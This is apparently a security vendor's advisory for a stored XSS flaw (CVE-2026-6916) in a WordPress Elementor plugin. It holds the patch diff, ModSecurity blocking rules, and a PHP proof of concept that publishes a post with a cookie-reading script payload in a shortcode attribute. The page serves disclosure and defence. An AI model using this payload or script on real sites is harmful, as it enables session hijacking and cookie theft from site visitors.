Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-6916: Jeg Kit for Elementor <= 3.1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'sg_content_number_prefix' Shortcode Attribute (jeg-elementor-kit)

CVE ID CVE-2026-6916
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.1.0
Patched Version 3.1.1
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6916: This vulnerability is a Stored Cross-Site Scripting (XSS) in the Jeg Kit for Elementor plugin for WordPress, affecting versions up to and including 3.1.0. The issue resides in the ‘Fun Fact’ element widget, where the ‘sg_content_number_prefix’ and ‘sg_content_number_suffix’ shortcode attributes are rendered without proper HTML escaping. Authenticated users with Contributor-level access or higher can inject arbitrary JavaScript that executes whenever a victim views the compromised page. The vulnerability carries a CVSS score of 6.4 (Medium).

The root cause is insufficient output escaping in the ‘render_number()’ method located in ‘jeg-elementor-kit/class/elements/views/class-fun-fact-view.php’. In the vulnerable version (3.1.0), lines 71-72 directly concatenate the user-supplied attributes ‘$this->attribute[‘sg_content_number_prefix’]’ and ‘$this->attribute[‘sg_content_number_suffix’]’ into the HTML output using only the attribute concatenation operator, with no escaping function. The prefix was output as: ‘‘ . $this->attribute[‘sg_content_number_prefix’] . ‘‘. This allowed any HTML or JavaScript contained in these shortcode attributes to be rendered as raw markup and executed in the browser context of any visitor.

Exploitation requires an authenticated account with at least Contributor privileges in WordPress. The attacker creates or edits a page or post using the Elementor page builder. Within the ‘Fun Fact’ widget, the attacker sets the ‘Number Prefix’ or ‘Number Suffix’ field (corresponding to the ‘sg_content_number_prefix’ or ‘sg_content_number_suffix’ shortcode parameter) to a malicious value such as `”>alert(‘XSS’)`. The payload is stored in the post content and rendered unsanitized. When any user, including administrators or unauthenticated visitors, views the page, the injected script executes.

The patch applies ‘esc_html()’ to both the ‘sg_content_number_prefix’ and ‘sg_content_number_suffix’ values in ‘class-fun-fact-view.php’. The corrected lines (70-71 in the patched version) read: ‘$prefix = “” . esc_html( $this->attribute[‘sg_content_number_prefix’] ) . ““;’ and similarly for suffix. This converts any HTML special characters (like ”, ‘”‘, ‘&’) into their HTML entity equivalents, preventing the browser from interpreting user-supplied input as HTML or JavaScript. The fix changes only the rendering function and does not affect the shortcode attribute’s storage or other functionality.

Successful exploitation allows an authenticated attacker to inject arbitrary malicious scripts that execute in the browsers of all visitors to the affected page. Depending on the attacker’s objectives, this can lead to session hijacking (theft of authentication cookies), credential theft via forged login forms, defacement of the page content, redirection to malicious websites, or extraction of sensitive data displayed on the page. Since the XSS is stored, each visit to the compromised page re-triggers the payload, amplifying its impact across the site’s user base.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/jeg-elementor-kit/class/assets/class-asset.php
+++ b/jeg-elementor-kit/class/assets/class-asset.php
@@ -155,6 +155,29 @@
 				'pro_banner' => pro_banner_popup_template(),
 			)
 		);
+
+		$editor_asset = JEG_ELEMENTOR_KIT_DIR . '/lib/dependencies/editor.asset.php';
+		$include      = include $editor_asset;
+		wp_enqueue_script(
+			'jkit-editor-bundle',
+			JEG_ELEMENTOR_KIT_URL . '/assets/js/editor/editor.js',
+			isset( $include['dependencies'] ) ? $include['dependencies'] : array(),
+			JEG_ELEMENTOR_KIT_VERSION,
+			true
+		);
+
+		// Minimal mirror for shared helpers used in editor bundle
+		$freemius_cfg  = JegElementor_KitIntegrationsFreemius::instance()->get_pricing_config();
+		$editor_option = array(
+			'freemius'    => array( 'pricing' => $freemius_cfg ),
+			'pricingPlan' => jkit_get_pricing_plan(),
+			'imgDir'      => JEG_ELEMENTOR_KIT_URL . '/assets/img/',
+		);
+		$mirror_js     = $this->build_window_assignment_js( 'jkit.options.freemius', $editor_option['freemius'], false )
+			. $this->build_window_assignment_js( 'jkit.pricingPlan', $editor_option['pricingPlan'], false )
+			. $this->build_window_assignment_js( 'jkit.imgDir', $editor_option['imgDir'], false );
+		wp_add_inline_script( 'jkit-editor-bundle', $mirror_js );
+
 	}

 	/**
@@ -175,6 +198,21 @@
 		/** WP Admin Bar Style in Frontend */
 		if ( is_admin_bar_showing() ) {
 			wp_enqueue_style( 'jkit-admin', JEG_ELEMENTOR_KIT_URL . '/assets/css/admin/admin.css', array(), JEG_ELEMENTOR_KIT_VERSION );
+			wp_enqueue_script( 'jkit-admin', JEG_ELEMENTOR_KIT_URL . '/assets/js/admin/admin.js', array( 'lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-notices' ), JEG_ELEMENTOR_KIT_VERSION, true );
+
+			// Provide minimal dashboard options to frontend/admin-bar pages so shared modules
+			// (like the pricing modal) can access Freemius pricing config and related values.
+			$freemius_cfg    = JegElementor_KitIntegrationsFreemius::instance()->get_pricing_config();
+			$frontend_option = array(
+				'freemius'    => array( 'pricing' => $freemius_cfg ),
+				'pricingPlan' => jkit_get_pricing_plan(),
+				'imgDir'      => JEG_ELEMENTOR_KIT_URL . '/assets/img/',
+			);
+			// Mirror only the minimal fields into a safer namespace to avoid collisions
+			$mirror_js = $this->build_window_assignment_js( 'jkit.options.freemius', $frontend_option['freemius'], false )
+				. $this->build_window_assignment_js( 'jkit.pricingPlan', $frontend_option['pricingPlan'], false )
+				. $this->build_window_assignment_js( 'jkit.imgDir', $frontend_option['imgDir'], false );
+			wp_add_inline_script( 'jkit-admin', $mirror_js );
 		}
 	}

@@ -185,6 +223,19 @@
 	 */
 	public function load_admin_assets() {
 		wp_enqueue_style( 'jkit-admin', JEG_ELEMENTOR_KIT_URL . '/assets/css/admin/admin.css', array(), JEG_ELEMENTOR_KIT_VERSION );
+		wp_enqueue_script( 'jkit-admin', JEG_ELEMENTOR_KIT_URL . '/assets/js/admin/admin.js', array( 'lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-notices' ), JEG_ELEMENTOR_KIT_VERSION, true );
+
+		// Ensure JkitDashboardOption is available on admin pages where `jkit-admin` is loaded.
+		$admin_option = array(
+			'freemius'    => array( 'pricing' => JegElementor_KitIntegrationsFreemius::instance()->get_pricing_config() ),
+			'pricingPlan' => jkit_get_pricing_plan(),
+			'imgDir'      => JEG_ELEMENTOR_KIT_URL . '/assets/img/',
+		);
+		// Mirror only the minimal fields into a safer namespace to avoid collisions
+		$mirror_js = $this->build_window_assignment_js( 'jkit.options.freemius', $admin_option['freemius'], false )
+			. $this->build_window_assignment_js( 'jkit.pricingPlan', $admin_option['pricingPlan'], false )
+			. $this->build_window_assignment_js( 'jkit.imgDir', $admin_option['imgDir'], false );
+		wp_add_inline_script( 'jkit-admin', $mirror_js );
 	}

 	/**
@@ -256,6 +307,37 @@
 	}

 	/**
+	 * Build JavaScript snippet that ensures a nested `window` path exists and assigns a value.
+	 *
+	 * @param string $path Dot-separated path, e.g. 'jkit.options.freemius'.
+	 * @param mixed  $value Value to assign. If $raw is false the value is JSON-encoded.
+	 * @param bool   $raw  Whether $value is a raw JS expression (true) or PHP value to json_encode (false).
+	 *
+	 * @return string JS code string (immediately-invoked function expression).
+	 */
+	protected function build_window_assignment_js( $path, $value, $raw = false ) {
+		$parts = explode( '.', $path );
+		$acc   = 'window';
+		$lines = array();
+		foreach ( $parts as $part ) {
+			$acc     .= "['" . esc_js( $part ) . "']";
+			$lines[]  = "if ( typeof {$acc} === 'undefined' ) { {$acc} = {}; }";
+		}
+
+		if ( $raw ) {
+			$val = $value;
+		} else {
+			$val = wp_json_encode( $value );
+		}
+
+		$assign = "{$acc} = {$val};";
+
+		$js = '(function(){' . implode( '', $lines ) . $assign . '})();';
+
+		return $js;
+	}
+
+	/**
 	 * Add Jeg Element Kit Custom CSS
 	 *
 	 * @param object $post_css ElementorCoreDynamicTagsDynamic_CSS.
--- a/jeg-elementor-kit/class/elements/views/class-fun-fact-view.php
+++ b/jeg-elementor-kit/class/elements/views/class-fun-fact-view.php
@@ -32,7 +32,7 @@
 		$icon = 'none' !== $icon_type ? '<div class="icon elementor-animation-' . $icon_hover_animation . '">' . $this->render_icon() . '</div>' : '';

 		$output =
-		'<div class=fun-fact-inner>' . $icon . '
+			'<div class=fun-fact-inner>' . $icon . '
             <div class="content">
                 <div class="number-wrapper">' . $this->render_number() . '</div>
                 <' . $title_tag . ' class="title">' . $title . '</' . $title_tag . '>
@@ -68,8 +68,8 @@
 	private function render_number() {
 		$animation_duration = isset( $this->attribute['sg_setting_number_aniamtion_duration']['size'] ) ? esc_attr( $this->attribute['sg_setting_number_aniamtion_duration']['size'] ) : 3500;
 		$super              = 'yes' === $this->attribute['sg_setting_enable_super'] ? '<sup class="super">' . esc_attr( $this->attribute['sg_content_super'] ) . '</sup>' : '';
-		$prefix             = '<span class="prefix">' . $this->attribute['sg_content_number_prefix'] . '</span>';
-		$suffix             = '<span class="suffix">' . $this->attribute['sg_content_number_suffix'] . '</span>';
+		$prefix             = '<span class="prefix">' . esc_html( $this->attribute['sg_content_number_prefix'] ) . '</span>';
+		$suffix             = '<span class="suffix">' . esc_html( $this->attribute['sg_content_number_suffix'] ) . '</span>';

 		return $prefix . '
         <span class="number" data-value="' . esc_attr( $this->attribute['sg_content_number'] ) . '" data-animation-duration="' . $animation_duration . '">0</span>
--- a/jeg-elementor-kit/helper.php
+++ b/jeg-elementor-kit/helper.php
@@ -1672,9 +1672,9 @@
 	function jkit_get_pricing_plan() {
 		$data = get_transient( 'jkit_pricing_plan_cache' );

-		// if ( $data ) {
-		// 	return $data;
-		// }
+		if ( $data ) {
+			return $data;
+		}

 		$response = wp_remote_request(
 			JEG_ELEMENT_SERVER_URL . 'wp-json/jkit-export/v1/pricingplan',
--- a/jeg-elementor-kit/jeg-elementor-kit.php
+++ b/jeg-elementor-kit/jeg-elementor-kit.php
@@ -4,14 +4,14 @@
  * Plugin URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: Jeg Kit for Elementor (formerly Jeg Elementor Kit) extends Elementor with powerful, customizable widgets and templates — helping you build modern, responsive WordPress websites faster.
  * Requires Plugins: elementor
- * Version: 3.1.0
+ * Version: 3.1.1
  * Author: Jegtheme
  * Author URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * License: GPLv3
  * Text Domain: jeg-elementor-kit
  *
- * Elementor tested up to: 4.0.3
- * Elementor Pro tested up to: 4.0.2
+ * Elementor tested up to: 4.0.4
+ * Elementor Pro tested up to: 4.0.4
  *
  * @author Jegtheme
  * @since 1.0.0
@@ -20,7 +20,7 @@

 defined( 'JEG_ELEMENTOR_KIT' ) || define( 'JEG_ELEMENTOR_KIT', 'jeg-elementor-kit' );
 defined( 'JEG_ELEMENTOR_KIT_NAME' ) || define( 'JEG_ELEMENTOR_KIT_NAME', 'Jeg Kit' );
-defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.1.0' );
+defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.1.1' );
 defined( 'JEG_ELEMENTOR_KIT_URL' ) || define( 'JEG_ELEMENTOR_KIT_URL', plugins_url( JEG_ELEMENTOR_KIT ) );
 defined( 'JEG_ELEMENTOR_KIT_FILE' ) || define( 'JEG_ELEMENTOR_KIT_FILE', __FILE__ );
 defined( 'JEG_ELEMENTOR_KIT_BASE' ) || define( 'JEG_ELEMENTOR_KIT_BASE', plugin_basename( __FILE__ ) );
--- a/jeg-elementor-kit/lib/dependencies/admin.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/admin.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => 'd497bd9977c9a93c2a80');
--- a/jeg-elementor-kit/lib/dependencies/dashboard.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '7bd8c32f8f2e450f9873');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'e6dca4b38009304323a4');
--- a/jeg-elementor-kit/lib/dependencies/editor.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/editor.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => '7b01efc7f21b31f1dc64');
--- a/jeg-elementor-kit/lib/dependencies/wizard.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/wizard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '7ee40d422b62e288ff6c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'e4e5ddfa0bcd57f2919f');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6916
# Block stored XSS via sg_content_number_prefix/sg_content_number_suffix in Jeg Kit Fun Fact shortcode
# This rule targets requests that create or update posts containing the vulnerable shortcode attributes.
# It matches both REST API (wp-json) and AJAX (admin-ajax) post creation/update endpoints.

SecRule REQUEST_METHOD "@streq POST" "id:20261991,phase:2,deny,status:403,chain,msg:'CVE-2026-6916 Jeg Kit Stored XSS via shortcode attribute',severity:'CRITICAL',tag:'CVE-2026-6916'"
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts$" "chain"
SecRule ARGS:content "@rx (?i)jkit_fun_fact[^]]*sg_content_number_(?:prefix|suffix)s*=[^>]*<[^>]*script[^>]*>" "t:none"

SecRule REQUEST_METHOD "@streq POST" "id:20261992,phase:2,deny,status:403,chain,msg:'CVE-2026-6916 Jeg Kit Stored XSS via AJAX post save',severity:'CRITICAL',tag:'CVE-2026-6916'"
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "chain"
SecRule ARGS_POST:action "@rx ^(elementor_ajax|save_builder|update_widgets)$" "chain"
SecRule ARGS_POST:content "@rx (?i)jkit_fun_fact[^]]*sg_content_number_(?:prefix|suffix)s*=[^>]*<[^>]*script[^>]*>" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6916 - Jeg Kit for Elementor <= 3.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sg_content_number_prefix' Shortcode Attribute

// Configuration
$target_url = 'http://example.com';  // Change this to the target WordPress site URL
$username = 'contributor';           // WordPress user with Contributor role or higher
$password = 'password';              // User's password

// ============================================

function exploit_xss($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    $admin_ajax = $url . '/wp-admin/admin-ajax.php';
    $rest_post = $url . '/wp-json/wp/v2/posts';

    // Step 1: Authenticate and get cookies
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'rememberme' => 'forever',
            'wp-submit' => 'Log In',
            'testcookie' => '1',
        ]),
        CURLOPT_COOKIEJAR => '/tmp/cve_2026_6916_cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HEADER => false,
        CURLOPT_SSL_VERIFYPEER => false,
    ]);
    curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);

    if ($info['http_code'] !== 200 && $info['http_code'] !== 302) {
        die("[-] Authentication failed. HTTP code: " . $info['http_code'] . "n");
    }
    echo "[+] Authenticated as $usern";

    // Step 2: Create a new post with the malicious shortcode
    // The Jeg Kit 'Fun Fact' element uses shortcodes like [jkit_fun_fact ...]
    // We inject XSS via sg_content_number_prefix attribute
    $payload = '"><script>alert(document.cookie)</script>';
    $malicious_content = '[jkit_fun_fact sg_content_number_prefix="' . $payload . '" sg_content_number="1234" sg_content_number_suffix="test"][/jkit_fun_fact]';

    $post_data = [
        'title' => 'Atomic Edge PoC - CVE-2026-6916',
        'content' => $malicious_content,
        'status' => 'publish',
    ];

    $ch = curl_init($rest_post);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode($post_data),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . get_nonce($url, $admin_ajax),
        ],
        CURLOPT_COOKIEFILE => '/tmp/cve_2026_6916_cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 201) {
        $response_data = json_decode($response, true);
        echo "[+] Malicious post created successfully!n";
        echo "[+] Post ID: " . $response_data['id'] . "n";
        echo "[+] View at: " . $response_data['link'] . "n";
    } else {
        echo "[-] Failed to create post. HTTP code: $http_coden";
        echo "[-] Response: " . substr($response, 0, 500) . "n";
    }

    // Clean up cookie file
    unlink('/tmp/cve_2026_6916_cookies.txt');
}

function get_nonce($url, $ajax_url) {
    // Fetch a nonce from WP REST API (simplified; production PoC would need proper nonce handling)
    // For brevity, this PoC uses a placeholder. In real testing, obtain a valid nonce.
    return 'placeholder_nonce';
}

exploit_xss($target_url, $username, $password);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School